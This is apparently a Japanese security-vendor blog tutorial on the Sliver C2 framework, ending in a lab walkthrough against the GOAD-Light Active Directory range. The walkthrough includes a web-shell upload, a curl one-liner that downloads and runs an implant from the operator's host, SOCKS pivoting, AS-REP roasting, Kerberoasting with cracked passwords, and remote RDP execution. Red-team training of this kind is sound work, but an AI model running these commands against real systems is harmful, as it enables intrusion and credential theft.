Japan
サイト内の現在位置
Sliverを使ってみよう
NECセキュリティブログ2026年9月4日
今回はペネトレーションテストやレッドチーム演習で利用できるオープンソースのC2フレームワーク「Sliver」を紹介します。最初にSliverの概要と基本的な使い方、特徴的な機能、インストール方法を順に説明します。その後、Active Directoryの演習環境であるGOAD-Lightを使用してSliverの使用例を説明します。
本ブログでは、セキュリティ診断で使用されるC2フレームワークの概要を理解することを目的としています。本ブログで紹介する内容を悪用しないでください。
目次
- 1. Sliverとは
- 1-1. Sliverの特徴
- 1-2. Sliverの構成要素
- 1-3. SessionとBeaconの違い
- 2. Sliverの基本的な使い方
- 2-1. Sliver Serverの起動
- 2-2. Sliver ClientからSliver Serverへの接続
- 2-3. C2リスナーの起動
- 2-4. Implantの生成
- 2-5. Implantの起動と接続確認
- 2-6. Sessionを使用した遠隔操作
- 2-7. Beaconを使用した遠隔操作
- 2-8. ファイルのアップロードとダウンロード
- 3. Sliverの高度な機能
- 3-1. C2通信方式の選択
- 3-2. ポートフォワーディングとプロキシ
- 3-3. TCPと名前付きパイプによるピボット
- 3-4. マルチプレイヤーモード
- 3-5. Armoryによる機能拡張
- 4. Sliverのインストール
- 5. GOAD-Lightを使用したSliverの使用例
- 5-1. シナリオとネットワーク構成
- 5-2. IISのASP.NETファイルアップロード機能による初期侵入
- 5-3. Sliver Implantのダウンロードと実行
- 5-4. SRV02(castelblack)とのC2接続
- 5-5. SOCKS5プロキシによる内部ネットワークへのピボット
- 5-6. brandon.starkユーザーに対するAS-REP Roasting
- 5-7. jon.snowユーザーに対するKerberoasting
- 5-8. ピボットを使用したSessionの確立
- 6. Sliverの学習に役立つ情報
- 6-1. 公式ドキュメント
- 6-2. 公式ワークショップ
- 7. 最後に
- 8. 参考文献
1. Sliverとは
Sliverは、Bishop Foxが開発・公開しているオープンソースのC2(Command and Control)フレームワークです
[1]。実際の攻撃者の行動を再現し、組織の防御態勢を評価するペネトレーションテストやレッドチーム演習で利用できます。
SliverはWindows、Linux、macOSを対象としたImplantを生成でき、mTLS、HTTP/HTTPS、DNS、WireGuardなど複数のC2通信方式をサポートしています。また、複数のオペレーターによる共同作業、ポートフォワーディング、SOCKS5プロキシ、Implant間のピボット、Armoryによる機能拡張など、ネットワーク内部での検証に役立つ機能を備えています。
1-1. Sliverの特徴
Sliverの主な特徴は次の通りです。
- オープンソースであり、無償で使用できるできる
- Windows、Linux、macOS向けのImplantをクロスコンパイルできる
- mTLS、HTTP/HTTPS、DNS、WireGuardなど複数のC2通信方式を利用できる
- リアルタイムに操作するSessionと、一定間隔で通信するBeaconを使い分けることができる
- TCP転送、SOCKS5プロキシ、TCPおよび名前付きパイプによるピボットを利用できる
- マルチプレイヤーモードにより複数のオペレーターで同じSliver Serverを操作できる
- ArmoryからAliasやExtensionを導入し、機能を追加できる
- インメモリで.NETアセンブリを実行できる
- インメモリでCOFF/BOFを実行できる
1-2. Sliverの構成要素
Sliverの基本的な動作を理解する上で、Sliver Server、Server Console、Sliver Client、Implantの4つを理解することが重要です
[2]。
- Sliver Serverは、Implantとの通信、C2リスナー、内部データベースなどを管理します。sliver-serverコマンドを実行すると、Sliver ServerとServer Consoleが起動します。
- Server Consoleは、Sliver Serverを直接操作するためのインターフェースです。サーバー上でC2リスナーの起動、Implantの生成、オペレーターの管理などができます。Server ConsoleとSliver Clientでは多くの操作が共通しています。
- Sliver Clientは、離れた端末からオペレータがSliver Serverを操作するSliver Serverを操作するための独立したクライアントです。Sliver Serverが生成した接続設定ファイルを使用して接続します。
- Implantは、検証対象の端末上で動作し、Sliver Serverから受け取った指示の実行および結果の送信を担当します。
1-3. SessionとBeaconの違い
SliverのImplantには、SessionとBeaconという2つの動作モードがあります
[3]。
- SessionはSliver Serverとの接続を維持し、オペレーターの指示をリアルタイムに実行するモードで、対話的な操作に向いています。
- Beaconは一定間隔でSliver Serverへチェックインし、登録されたタスクを取得して実行する非同期のモードです。常時接続を必要としない一方、実行結果を受け取るまでに次回のチェックインを待つ必要があります。
Beaconに対してinteractiveコマンドを実行すると、そのImplantに組み込まれているC2通信方式を使用してSessionを追加できます。このとき、Sessionを閉じてもBeacon自体は動作を継続します。用途に応じてBeaconとSessionを切り替えることができます。
2. Sliverの基本的な使い方
ここからは、Sliver Clientを使用した基本的な操作を説明します。コマンドのオプションはSliverのバージョンによって変更される場合があります。実行時にはhelpコマンドまたは<コマンド> --helpを確認してください。
2-1. Sliver Serverの起動
インストール方法は、インストールスクリプトを行う方法と手動でインストールした方法の2種類あります。公式のLinux用インストールスクリプトを使用した場合、Sliver Serverはsystemdサービスとして構成されます
[4]。サービスの状態は次のコマンドで確認できます。
sudo systemctl status sliver
停止している場合は、次のコマンドで起動します。
sudo systemctl start sliver
手動でインストールしたSliver Serverは、次のコマンドで起動します。この場合、Sliver ServerとともにServer Consoleが起動します。
sudo ./sliver-server
Server Consoleが表示され、「sliver >」とプロンプトから操作できれば起動は完了です。
2-2. Sliver ClientからSliver Serverへの接続
Server Consoleを使用する場合、Server Console をSliver Clientとして使用できるため、Sliver ClientをSliver Serverに接続する処理は不要です。Sliver Serverをsystemdサービスとして動作させる場合や、離れた端末から操作する場合はSliver Clientを使用します。 接続には、あらかじめSliver Serverで生成したオペレーター用の設定ファイルをSliver Clientへ取り込みます。
LinuxまたはmacOSでは、次のように設定ファイルを取り込みます。
./sliver-client import ./operator1.cfg
./sliver-client
Windowsでは次のように実行します。
.\sliver-client.exe import .\operator1.cfg
.\sliver-client.exe
複数の設定が登録されている場合は接続先を選択します。「sliver >」というプロンプトが表示されれば、Sliver Serverへの接続は完了です。
2-3. C2リスナーの起動
Implantからの接続を受け付けるには、Sliver Server上でC2リスナーを起動します。Sliverではmtls、http、https、dns、wgなどのコマンドを使用します。
HTTPSのC2リスナーを使用する場合、Sliver Clientで次のコマンドを実行します。
sliver > https
オプションを指定しない場合、HTTPSリスナーはTCP/443で待ち受けます。起動中のリスナーはjobsコマンドで確認できます。
sliver > jobs
2-4. Implantの生成
Implantはgenerateコマンドで生成します。次の例では、192.0.2.10で動作するC2リスナーにHTTP/HTTPSで接続する64ビット版Windows向けのSession型Implantを生成します。
sliver > generate --http 192.0.2.10 --os windows --arch amd64
--httpで生成したImplantは、接続時にHTTPSを試行し、失敗した場合にHTTPを試行します
[5]。HTTPSだけを使用する検証では、Sliver ServerでHTTPSリスナーのみを起動します。
Beacon型Implantを生成する場合は、generate beaconコマンドを使用します。次の例では、60秒間隔でチェックインし、最大15秒のジッターを設定しています。
sliver > generate beacon --http 192.0.2.10 --os windows --arch amd64 --seconds 60 --jitter 15
2-5. Implantの起動と接続確認
生成したImplantを診断対象のWindows端末へ配置して実行します。
.\<生成されたImplant名>.exe
ImplantがSliver Serverへ接続すると、Sliver Clientに接続通知が表示されます。現在のSessionは次のコマンドで確認できます。
sliver > sessions
Beacon型Implantは次のコマンドで確認します。
sliver > beacons
2-6. Sessionを使用した遠隔操作
操作するSessionはuseコマンドで選択します。IDは先頭の一部だけでも指定でき、引数を付けずに実行すると選択画面が表示されます。
sliver > sessions
sliver > use <Session ID>
Sessionを選択した後は、次のようなコマンドで対象端末の情報を確認できます。
sliver (<Implant名>) > info
sliver (<Implant名>) > whoami
sliver (<Implant名>) > pwd
sliver (<Implant名>) > ls
backgroundコマンドを実行するとSessionを終了せずにSliver Clientのプロンプトへ戻り、別のSessionやBeaconを選択できます。
2-7. Beaconを使用した遠隔操作
Beaconを操作する場合も、useコマンドで対象を選択します。
sliver > beacons
sliver > use <Beacon ID>
Beaconに対してコマンドを実行すると、命令はタスクとしてSliver Serverに登録されます。Implantが次にチェックインした際にタスクを取得し、実行結果を返します。
sliver (<Implant名>) > whoami
sliver (<Implant名>) > tasks
過去のタスクと状態はtasksコマンド、過去の結果はtasks fetchコマンドで確認できます。対話的な操作が必要になった場合は、次のようにSessionを追加します。
sliver (<Implant名>) > interactive
作業後にcloseコマンドを実行すると、追加したSessionだけを閉じ、元のBeaconは残すことができます。
2-8. ファイルのアップロードとダウンロード
SessionまたはBeaconを選択した状態でuploadコマンドを実行すると、Sliver Clientを操作している端末上のファイルを対象端末へ転送できます。
sliver (<Implant名>) > upload /tmp/sample.txt C:\Windows\Temp\sample.txt
対象端末のファイルをSliver Clientを操作している端末に取得する場合はdownloadコマンドを使用します。
sliver (<Implant名>) > download C:\Windows\Temp\result.txt /tmp/result.txt
3. Sliverの高度な機能
Sliverは、基本的な遠隔操作以外にも、ネットワーク構成や目的に応じた機能を備えています。ここでは代表的な機能の概要を紹介します。
3-1. C2通信方式の選択
Sliverでは複数のC2通信方式を1つのImplantに設定でき、接続に失敗した場合の代替経路として使用できます。代表的な通信方式と特徴は次のとおりです。
| 通信方式 | 特徴 | 主な注意点 |
|---|---|---|
| mTLS | ImplantとServerが相互に証明書を検証する。Sliverが利用を推奨している方式の1つ | 専用のTCP通信を許可する必要がある |
| HTTP/HTTPS | 一般的なWeb通信と同じポートを利用しやすく、システムのプロキシ設定も利用できる | --httpではHTTPS失敗後にHTTPも試行するため、Firewallとリスナーの設定を合わせる |
| DNS | 対象からSliver Serverへ直接TCP接続できない環境でも、DNSリゾルバーを経由できる場合がある | ドメインと権威DNSの設定が必要で、通信速度が遅く、DNSトンネルとして検出されやすい [6] |
| WireGuard | WireGuardを使用したC2で、専用のポートフォワーディングやSOCKS機能を利用できる | UDP通信とWireGuardクライアントを設定する必要がある |
例えば、mTLSとHTTP/HTTPSを設定したImplantは次のように生成できます。
sliver > generate --mtls c2.example.com --http c2.example.com --os windows --arch amd64
複数の通信方式を指定した場合、既定では性能を優先して順番に接続を試行します。
3-2. ポートフォワーディングとプロキシ
Sliverには、Sessionを経由して任意のTCP通信を内部ネットワークへ転送するportfwd機能があります
[7]。次の例では、Sliver Clientを操作している端末の127.0.0.1:13389に接続した通信を、Implantから到達可能な192.168.56.11:3389へ転送します。
sliver (<Implant名>) > portfwd add --bind 127.0.0.1:13389 --remote 192.168.56.11:3389
sliver (<Implant名>) > socks5 start
表示された待受アドレスとポートをProxyChainsなどのSOCKS5対応ツールに設定すると、その通信をImplant経由で内部ネットワークへ送信できます。ただし、portfwdとインバンドSOCKS5はC2通信内にデータを多重化するため、通信方式によっては速度や安定性が低下する可能性があります。また、いずれもBeaconではなくSessionでの接続が必要です。
3-3. TCPと名前付きパイプによるピボット
Sliverにおける「Pivots」は、一般的なTCP転送とは異なり、Implantから別のImplantへC2通信を中継する機能です
[10]。外部のSliver Serverへ直接接続できない端末で、すでに接続済みのImplantを中継点としてC2接続を確立できます。
TCPピボットは各プラットフォームで利用できます。中継元となるSessionを選択し、次のようにTCPピボットリスナーを起動します。
sliver (<中継元Implant名>) > pivots tcp
続いて、中継元端末の内部ネットワーク側IPアドレスとpivots tcpコマンドで表示された待受ポートを指定して、新しいImplantを生成します。
sliver > generate --tcp-pivot 192.168.56.22:9898 --os windows --arch amd64
名前付きパイプによるピボットはWindowsでのみ利用できます。中継元のSessionで名前付きパイプのリスナーを起動し、同じパイプ名を指定したImplantを生成します。
sliver (<中継元Implant名>) > pivots named-pipe --bind sliver-pivot
sliver > generate --named-pipe 192.168.56.22/pipe/sliver-pivot --os windows --arch amd64
ピボット接続ではImplant同士が認証を行うため、同じSliver Serverで生成したImplant同士だけが接続できます。また、SliverのPivotsはSessionでのみ利用できます。
3-4. マルチプレイヤーモード
マルチプレイヤーモードを使用すると、複数のオペレーターが同じSliver Serverへ接続し、Implantやタスクの情報を共有できます
[11]。
Server Consoleで次のコマンドを実行し、マルチプレイヤー用のリスナーを起動します。
sliver > multiplayer
続いてオペレーターごとの設定ファイルを生成します。--lhostには、各オペレーターのSliver Clientから到達できるSliver ServerのIPアドレスまたはホスト名を指定します。
sliver > new-operator --name operator1 --lhost 192.0.2.10 --permissions all
生成した設定ファイルを安全な方法で各オペレーターへ配布し、それぞれのSliver Clientへ取り込むと接続できます。複数人が同じBeaconへタスクを登録した場合も、タスクは登録順に処理されます。長時間動作するタスクが同時に登録されると、他の結果の表示が遅延することがあるため、実施前に対象と操作内容を分担しておくことが重要です。
3-5. Armoryによる機能拡張
Armoryは、SliverのAliasとExtensionを管理するパッケージマネージャーです
[12]。BOFや.NETツールなどの追加機能をSliver Clientへ導入できます。
利用可能なパッケージは次のコマンドで確認します。
sliver > armory
パッケージを導入する場合は、内容と提供元を確認してから次のコマンドを実行します。
sliver > armory install <パッケージ名>
導入済みのAliasとExtensionは、それぞれaliasesコマンドとextensionsコマンドで確認できます。また、更新にはarmory updateコマンドを使用します。
4. Sliverのインストール
Sliver ServerはLinux、Windows、macOSで動作しますが、公式ドキュメントではLinuxまたはmacOS上での運用が推奨されています
[3]。本記事では、Kali Linux上にSliver Serverをインストールする想定で説明します。
Sliverは公式のリリースページから実行ファイルをダウンロードできます
[13]。Linuxでは公式のインストールスクリプトも利用でき、Sliver Server、Windows向けクロスコンパイラー、systemdサービス、ローカルユーザー用のSliver Client接続設定がまとめて構成されます
[4]。
インストールスクリプトを使用する場合は、実行前に内容を確認します。
curl -fsSL https://sliver.sh/install -o /tmp/sliver-install.sh
less /tmp/sliver-install.sh
sudo bash /tmp/sliver-install.sh
インストール後、次のコマンドでサービスの状態を確認します。
sudo systemctl status sliver
自動起動は設定されていないため、Kali Linuxの再起動後はsystemctl start sliverコマンドでSliver Serverを起動する必要があります。
systemdでSliver Serverが起動していることを確認した後、Sliver Clientを起動します。
sliver
5. GOAD-Lightを使用したSliverの使用例
5-1. シナリオとネットワーク構成
今回の例では、Active Directory(AD)環境の演習環境としてGOAD-Lightを使用します。Kali Linuxから直接アクセスできる対象をFirewall(pfSense)によってSRV02(castelblack)のIIS(TCP/80)のみに制限します。GOAD-Lightの公式ドキュメントでは、SRV02(castelblack)のIISにファイルをアップロードできる設定が含まれることが示されています
[14]
[15]。この機能を利用してSliver Implantを起動し、SRV02(castelblack)からKali LinuxへのHTTPS C2接続を確立します。
その後、SliverのSOCKS5プロキシを使用して、Kali Linuxから直接到達できないDC02(winterfell)へ接続します。さらに、brandon.starkユーザーに対するAS-REP Roastingで資格情報を取得し、そのアカウントを使用したKerberoastingによって、新たにRDP権限を持つアカウントjon.snowユーザーの資格情報を取得し、SRV02(castelblack)を経由してC2通信を行う新たなImplantを実行するところまでを説明します。
本稿で使用するIPアドレスは次のとおりです。
| 機器 | インターフェース/IPアドレス | 役割 |
|---|---|---|
| Kali Linux | 192.168.210.50 | Firewall WAN側との接続、Sliver Server |
| Firewall | WAN: 192.168.210.100 | Kali Linux側のFirewallインターフェース |
| Firewall | LAN: 192.168.200.100 | GOAD-Light側のFirewallインターフェース |
| SRV02(castelblack) | 192.168.200.22 | IIS |
| DC02(winterfell) | 192.168.200.11 | Domain Controller |
使用する主な通信ルールは次のとおりです。
- Kali LinuxからSRV02(castelblack)へはTCP/80のみ許可
- Kali LinuxからDC02(winterfell)への直接アクセスは拒否
- SRV02(castelblack)からDC02(winterfell)への通信は制限なし
なお、本来のGOAD-LightではDC02でMicrosoft Defenderが有効になっていますが、今回は説明を簡略化するために無効化しています。
5-2. IISのASP.NETファイルアップロード機能による初期侵入


PayloadsAllTheThingsのshell.aspxを使用してシェルの取得を試みます
[16]。 shell.aspxを編集し、die();をコメントアウトすることで許可するIPアドレスの制限を解除します。
$ cat shell.aspx | grep -A 2 '!validIp'
if (!validIp) {
//die();
}
ブラウザでhttp://192.168.200.22/Default.aspxを開き、ファイル選択欄からshell.aspxを選択して送信します。

ブラウザでhttp://192.168.200.22/upload/shell.aspxを開き、whoamiコマンドを実行できることを確認します。

SliverにはASPX形式のWeb Shellを生成する標準機能はありません。そのため、shell.aspxを使用してImplantをダウンロード・実行します。
5-3. Sliver Implantのダウンロードと実行
Sliver ClientでHTTPSリスナーを開始します。
sliver > https --lhost 192.168.210.50 --lport 443
sliver > jobs
次に、Windows向けSession型Implantを生成します。
[127.0.0.1] sliver > generate --os windows --arch amd64 --format exe --http https://192.168.210.50:443 --
save /home/kali/sliver/
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 58s
[*] Implant saved to /home/kali/sliver/CONFIDENTIAL_MISS.exe
生成したexeを簡易Webサーバーでホストします。
python3 -m http.server 80
shell.aspxでImplantをダウンロード・実行するコマンドを実行します。
curl.exe -fSLo "%TEMP%\z.exe" "http://192.168.210.50/CONFIDENTIAL_MISS.exe" && start "" /b "%TEMP%\z.exe"
Implantが実行され、Sliver Client側で接続を受け付けたことを確認できます。
[*] Session 50f8bded CONFIDENTIAL_MISS - 192.168.200.22:51218 (castelblack) - windows/amd64 - Fri, 21 Aug
2026 16:07:04 EDT
5-4. SRV02(castelblack)とのC2接続
Implantを実行した後、Sliver ClientでSessionを確認します。
[127.0.0.1] sliver > sessions
ID Transport Remote Address Hostname Username Operating System Health
========== =========== ====================== ============= ========== ================== =========
50f8bded http(s) 192.168.200.22:51218 castelblack <err> windows/amd64 [ALIVE]
[127.0.0.1] sliver > use 50f8bded
[*] Active session CONFIDENTIAL_MISS (50f8bded-16d4-438c-966f-94c4b5d41753)
info,whoami,pwdで情報を確認します。
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > info
Session ID: 50f8bded-16d4-438c-966f-94c4b5d41753
Name: CONFIDENTIAL_MISS
Hostname: castelblack
UUID: a0024d56-a77b-c1b3-2aa4-15a20ddef6f4
Username: <err>
UID: <err>
GID: <err>
PID: 1620
OS: windows
Version: Server 2016 build 17763 x86_64
Locale: en-US
Arch: amd64
Active C2: https://192.168.210.50:443
Remote Address: 192.168.200.22:51218
Proxy URL:
Reconnect Interval: 1m0s
First Contact: Fri Aug 21 16:07:04 EDT 2026 (7m21s ago)
Last Checkin: Fri Aug 21 16:14:24 EDT 2026 (1s ago)
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > whoami
Logon ID: <err>
[*] Current Token ID: IIS APPPOOL\DefaultAppPool
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > pwd
[*] c:\windows\system32\inetsrv
また、shellコマンドによりSRV02(castleblack)上でコマンドを実行することもできます。
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > shell
[*] Shell management: `shell ls`, `shell attach <id>`
[*] Escape: press Ctrl-] to return to the Sliver client
[*] Opening shell tunnel ...
[*] Started remote shell [2] with pid 1368
PS C:\windows\system32\inetsrv> hostname
hostname
castelblack
PS C:\windows\system32\inetsrv> whoami
whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> exit
Shell exited
5-5. SOCKS5プロキシによる内部ネットワークへのピボット
SRV02(castelblack)のSessionを選択し、Sliver Clientを実行しているKali LinuxのループバックアドレスでSOCKS5プロキシへの通信を待ち受けます。
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > socks5 start --host 127.0.0.1 --port 1081
[*] Started SOCKS5 127.0.0.1 1081
⚠️ In-band SOCKS proxies can be a little unstable depending on protocol
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > socks5
[127.0.0.1] sliver (CONFIDENTIAL_MISS) >
ID Session ID Bind Address Username Passwords
==== ====================================== ================ ========== ===========
1 50f8bded-16d4-438c-966f-94c4b5d41753 127.0.0.1:1081
Kali Linuxに、proxy.confとしてproxychains設定ファイルを作成します。 timeout値はローカル検証環境のため小さい値としています。
strict_chain
proxy_dns
tcp_read_time_out 500
tcp_connect_time_out 500
[ProxyList]
socks5 127.0.0.1 1081
SOCKS5プロキシを経由することで、DC02(winterfell)へのアクセスが可能になります。
$ sudo proxychains -q -f proxy.conf nmap -sT -Pn 192.168.200.11
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-21 16:45 -0400
Nmap scan report for 192.168.200.11
Host is up (0.00s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
5986/tcp open wsmans
Nmap done: 1 IP address (1 host up) scanned in 563.74 seconds
また、DC02(winterfell)に対してsmbで問い合わせることでどのようなユーザーが存在するかを確認できます。
$ proxychains -q -f proxy.conf nxc smb 192.168.200.11 -u '' -p '' --users
SMB 192.168.200.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.200.11 445 WINTERFELL [+] north.sevenkingdoms.local\:
SMB 192.168.200.11 445 WINTERFELL -Username- -Last PW Set- -BadPW- -Description-
SMB 192.168.200.11 445 WINTERFELL Guest 0 Built-in account for guest access to the computer/domain
SMB 192.168.200.11 445 WINTERFELL arya.stark 2026-08-20 04:32:59 0 Arya Stark
SMB 192.168.200.11 445 WINTERFELL sansa.stark 2026-08-20 04:33:06 0 Sansa Stark
SMB 192.168.200.11 445 WINTERFELL brandon.stark 2026-08-20 04:33:08 0 Brandon Stark
SMB 192.168.200.11 445 WINTERFELL rickon.stark 2026-08-20 04:33:10 0 Rickon Stark
SMB 192.168.200.11 445 WINTERFELL hodor 2026-08-20 04:33:11 0 Brainless Giant
SMB 192.168.200.11 445 WINTERFELL jon.snow 2026-08-20 04:33:13 0 Jon Snow
SMB 192.168.200.11 445 WINTERFELL samwell.tarly 2026-08-20 04:33:15 0 Samwell Tarly (Password : Heartsbane)
SMB 192.168.200.11 445 WINTERFELL jeor.mormont 2026-08-20 04:33:16 0 Jeor Mormont
SMB 192.168.200.11 445 WINTERFELL sql_svc 2026-08-20 04:33:18 0 sql service
SMB 192.168.200.11 445 WINTERFELL [*] Enumerated 10 local users: NORTH
5-6. brandon.starkユーザーに対するAS-REP Roasting
$ proxychains -q -f proxy.conf \
impacket-GetNPUsers 'north.sevenkingdoms.local/brandon.stark' \
-no-pass \
-request \
-dc-ip 192.168.200.11 \
-format hashcat \
-outputfile brandon.asrep.txt
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for brandon.stark
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:9ff41f(中略)
得られたハッシュをjohn the ripperにより解析します。
$ john -w=/usr/share/wordlists/rockyou.txt brandon.asrep.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1
AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iseedeadpeople ($krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL)
1g 0:00:00:00 DONE (2026-08-21 16:52) 25.00g/s 1356Kp/s 1356Kc/s 1356KC/s soydivina..250984
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
これにより、brandon.stark:iseedeadpeopleという資格情報が得られました。
5-7. jon.snowユーザーに対するKerberoasting
$ proxychains -q -f proxy.conf \
impacket-GetUserSPNs 'north.sevenkingdoms.local/brandon.stark' \
-dc-ip 192.168.200.11 \
-request \
-request-user jon.snow \
-outputfile kerberoastable.txt
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------------- -------- ---------------------------------------------------------- -------------------------- --------- -----------
CIFS/winterfell.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2026-08-20 00:33:13.431455 <never> constrained
HTTP/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2026-08-20 00:33:13.431455 <never> constrained
[-] CCache file is not found. Skipping...
$ cat kerberoastable.txt
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$north.sevenkingdoms.local/jon.snow*$0de494(中略)
kerberoastable.txtにjon.snowユーザーのSPNと$krb5tgs$形式のチケットが含まれることを確認します。 先ほど同様にjohn the ripperを使用してパスワードクラックを試行します。
$ john -w=/usr/share/wordlists/rockyou.txt kerberoastable.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iknownothing (?)
1g 0:00:00:02 DONE (2026-08-21 17:14) 0.3759g/s 2794Kp/s 2794Kc/s 2794KC/s ikulet..ikkezelf85
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
これにより、jon.snow:iknownothingという資格情報が得られました。
5-8. ピボットを使用したSessionの確立
NetExecを使用することでjon.snowユーザーとしてコマンドが実行できることがわかります。
$ proxychains -q -f proxy.conf nxc rdp 192.168.200.11 -u jon.snow -p iknownothing -x whoami
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted us
er is connected via RDP, do you want to continue ? [Y/n]
RDP 192.168.200.11 3389 WINTERFELL [*] Windows 10 or Windows Server 2016 Build 17763 (na
me:WINTERFELL) (domain:north.sevenkingdoms.local) (nla:True)
RDP 192.168.200.11 3389 WINTERFELL [+] north.sevenkingdoms.local\jon.snow:iknownothing (
Pwn3d!)
RDP 192.168.200.11 3389 WINTERFELL [+] Executing command: whoami with delay 5 seconds
RDP 192.168.200.11 3389 WINTERFELL [+] Waiting for clipboard to be ready...
RDP 192.168.200.11 3389 WINTERFELL north\jon.snow
pivotsコマンドを使用して、SRV02(castelblack)を経由してDC02(winterfell)へアクセスします。最初に、中継元となるSRV02(castelblack)上のSessionを選択し、TCPピボットリスナーを起動します。
[127.0.0.1] sliver > sessions
ID Name Transport Remote Address Hostname Username Process (PID) Integrity Operating System Locale Last Message Health
========== =================== =========== ====================== ============= ========== ============================== =========== ================== ======== ======================================= ========
=
66c9fcd9 CONFIDENTIAL_MISS http(s) 192.168.200.22:50356 castelblack <err> C:\Windows\TE
MP\z.exe (1620) - windows/amd64 en-US Sun Aug 23 14:49:40 EDT 2026 (2s ago) [ALIVE]
[127.0.0.1] sliver > use 66c9fcd9
[*] Active session CONFIDENTIAL_MISS (66c9fcd9-7604-4455-8267-29e591d853bd)
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > pivots tcp
[*] Started tcp pivot listener :9898 with id 1
次に、pivotsを使うImplantを生成します。
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > generate --tcp-pivot 192.168.200.22:9898 --os windows --arch amd
64
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 59s
[*] Implant saved to /home/kali/SMILING_STEP-SON.exe
Kali Linuxの80番ポートで簡易Webサーバーを建て、生成したSMILING_STEP-SON.exeを転送できるようにします。
python3 -m http.server 80
DC02(winterfell)上のjon.snowユーザーとして、SMILING_STEP-SON.exeをダウンロード・実行します。
┌──(kali㉿kali)-[~/sliver]
└─$ proxychains -q -f proxy.conf nxc rdp 192.168.200.11 -u jon.snow -p iknownothing -x 'curl.exe -O 192.168.210.50/SMILING_STEP-SON.exe'
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted us
er is connected via RDP, do you want to continue ? [Y/n]
RDP 192.168.200.11 3389 WINTERFELL [*] Windows 10 or Windows Server 2016 Build 17763 (na
me:WINTERFELL) (domain:north.sevenkingdoms.local) (nla:True)
RDP 192.168.200.11 3389 WINTERFELL [+] north.sevenkingdoms.local\jon.snow:iknownothing (Pwn3d!)
RDP 192.168.200.11 3389 WINTERFELL [+] Executing command: curl.exe -O 192.168.210.50/SMILING_STEP-SON.exe with delay 5 seconds
RDP 192.168.200.11 3389 WINTERFELL [+] Waiting for clipboard to be ready...
RDP 192.168.200.11 3389 WINTERFELL [-] Clipboard is empty or contains non-text data
┌──(kali㉿kali)-[~/sliver]
└─$ proxychains -q -f proxy.conf nxc rdp 192.168.200.11 -u jon.snow -p iknownothing -x 'SMILING_STEP-SON.exe'
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n]
RDP 192.168.200.11 3389 WINTERFELL [*] Windows 10 or Windows Server 2016 Build 17763 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (nla:True)
RDP 192.168.200.11 3389 WINTERFELL [+] north.sevenkingdoms.local\jon.snow:iknownothing (Pwn3d!)
RDP 192.168.200.11 3389 WINTERFELL [+] Executing command: SMILING_STEP-SON.exe with delay 5 seconds
RDP 192.168.200.11 3389 WINTERFELL [+] Waiting for clipboard to be ready...
RDP 192.168.200.11 3389 WINTERFELL [-] Clipboard is empty or contains non-text data
SRV02(castelblack)を経由してSliver ServerにC2通信が行われます。
[*] Session 0da1e441 SMILING_STEP-SON - 192.168.200.22:50356->CONFIDENTIAL_MISS-> (winterfell) - windows/amd64 - Sun, 23 Aug 2026 14:59:13 EDT
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > sessions
ID Name Transport Remote Address Hostname Use
rname Process (PID) Integrity Operating System Locale Last Message Health
========== =================== =========== =========================================== ============= ====
============ =============================================== =========== ================== ======== ====
==================================== =========
66c9fcd9 CONFIDENTIAL_MISS http(s) 192.168.200.22:50356 castelblack <err> C:\Windows\TEMP\z.exe (1620) - windows/amd64 en-US Sun Aug 23 15:01:51 EDT 2026 (1s ago) [ALIVE]
0da1e441 SMILING_STEP-SON pivot 192.168.200.22:50356->CONFIDENTIAL_MISS-> winterfell NOR
TH\jon.snow C:\Users\jon.snow\SMILING_STEP-SON.exe (7412) - windows/amd64 en-US Sun
Aug 23 15:01:13 EDT 2026 (39s ago) [ALIVE]
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > use 0da1e441
